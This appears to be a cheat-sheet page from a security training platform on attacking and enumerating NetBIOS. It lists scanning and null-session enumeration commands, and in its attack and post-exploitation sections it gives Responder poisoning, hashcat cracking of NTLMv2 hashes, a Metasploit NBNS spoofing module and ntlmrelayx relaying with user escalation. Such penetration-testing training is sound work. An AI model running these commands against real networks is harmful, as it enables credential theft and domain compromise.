Skip to main content
🎃
HALLOWEEN 50% OFFPay Once $59, Use All Year (Normally $119)Activate Now →

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

NetBIOS

Default Ports: 137 (Name Service), 138 (Datagram), 139 (Session)

NetBIOS (Network Basic Input/Output System) is a network protocol that allows applications on different computers to communicate within a local area network (LAN). It provides services for name resolution, session management, and datagram distribution. NetBIOS is commonly used in Windows networks and often runs alongside SMB. While largely replaced by modern protocols, NetBIOS is still found in many Windows environments.

Connect

Using nbtscan

The nbtscan tool efficiently scans networks for NetBIOS name information on Windows hosts:

# Scan network for NetBIOS names
nbtscan 192.168.1.0/24

# Scan specific host
nbtscan target.com

# Verbose output
nbtscan -v target.com

# Output to file
nbtscan 192.168.1.0/24 > netbios_scan.txt

Using nmblookup

# Lookup NetBIOS name
nmblookup -A target.com

# Reverse lookup
nmblookup target

# Find master browser
nmblookup -M -- -

# Find workgroup
nmblookup -d 2 '*'

Recon

Service Detection with Nmap

Use Nmap to detect NetBIOS services and identify server capabilities.

nmap -p 137,138,139 target.com

NetBIOS Name Enumeration

NetBIOS names provide valuable information about computer names, workgroups, domains, and running services on Windows systems:

# Using nbtscan
nbtscan -r 192.168.1.0/24

# Using nmap
nmap -sU -p 137 --script nbstat target.com

# Using nmblookup
nmblookup -A 192.168.1.100

# Output interpretation:
# <00> = Workstation
# <03> = Messenger service
# <20> = Server service
# <1B> = Domain Master Browser
# <1D> = Master Browser

Enumeration

Null Session Enumeration

Null sessions exploit Windows' default behavior of allowing anonymous connections to enumerate sensitive information:

# Using enum4linux
enum4linux -a target.com

# Enumerate users
enum4linux -U target.com

# Enumerate shares
enum4linux -S target.com

# Get password policy
enum4linux -P target.com

# Using rpcclient
rpcclient -U "" target.com
# Hit enter for blank password
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> queryuser 500

Share Enumeration

NetBIOS can reveal shared folders and their permissions, often exposing sensitive data:

# List shares via NetBIOS
smbclient -L //target.com -N

# Using nmap
nmap -p 139,445 --script smb-enum-shares target.com

# Check share permissions
smbmap -H target.com
smbmap -H target.com -u guest

Attack Vectors

NetBIOS Name Spoofing

# Using Responder to capture hashes
sudo responder -I eth0 -wrf

# NBT-NS poisoning
# When victim searches for \\fileserver
# Responder responds with attacker IP
# Victim connects and sends credentials

# Captured NTLMv2 hash can be cracked
hashcat -m 5600 hash.txt rockyou.txt

NBT-NS Poisoning

# Using Metasploit
use auxiliary/spoof/nbns/nbns_response
set INTERFACE eth0
set SPOOFIP attacker-ip
run

# Victims will connect to attacker's IP
# Capture credentials or perform MITM

Post-Exploitation

Information Gathering

# Get computer name, domain, users
enum4linux -a target.com > netbios_enum.txt

# Parse interesting information
grep "Domain Name" netbios_enum.txt
grep "Domain SID" netbios_enum.txt
grep "Password Info" netbios_enum.txt

Credential Relay

# Captured NetBIOS authentication can be relayed
# Using ntlmrelayx

ntlmrelayx.py -t target.com -smb2support

# Or relay to LDAP
ntlmrelayx.py -t ldap://dc.domain.com --escalate-user lowpriv_user

NetBIOS Name Suffixes

SuffixTypeDescription
<00>UWorkstation/Redirector
<03>UMessenger Service
<06>URAS Server Service
<1B>UDomain Master Browser
<1C>GDomain Controllers
<1D>UMaster Browser
<1E>GBrowser Service Elections
<20>UFile Server Service

Common Commands

CommandDescriptionUsage
nbtscanNetBIOS scannernbtscan 192.168.1.0/24
nmblookupNetBIOS lookupnmblookup -A target.com
enum4linuxEnumeration toolenum4linux -a target.com
rpcclientRPC clientrpcclient -U "" target.com

Useful Tools

ToolDescriptionPrimary Use Case
nbtscanNetBIOS scannerNetwork enumeration
enum4linuxSMB/NetBIOS enumInformation gathering
ResponderLLMNR/NBT-NS poisonerCredential capture
nmblookupNetBIOS lookupName resolution
rpcclientRPC interactionNull session enum
MetasploitExploitation frameworkAutomated testing

Security Misconfigurations

  • ❌ NetBIOS enabled on internet-facing hosts
  • ❌ Null session allowed
  • ❌ No SMB signing
  • ❌ NBT-NS/LLMNR enabled
  • ❌ Guest account enabled
  • ❌ Weak share permissions
  • ❌ No network segmentation
  • ❌ Information leakage via NetBIOS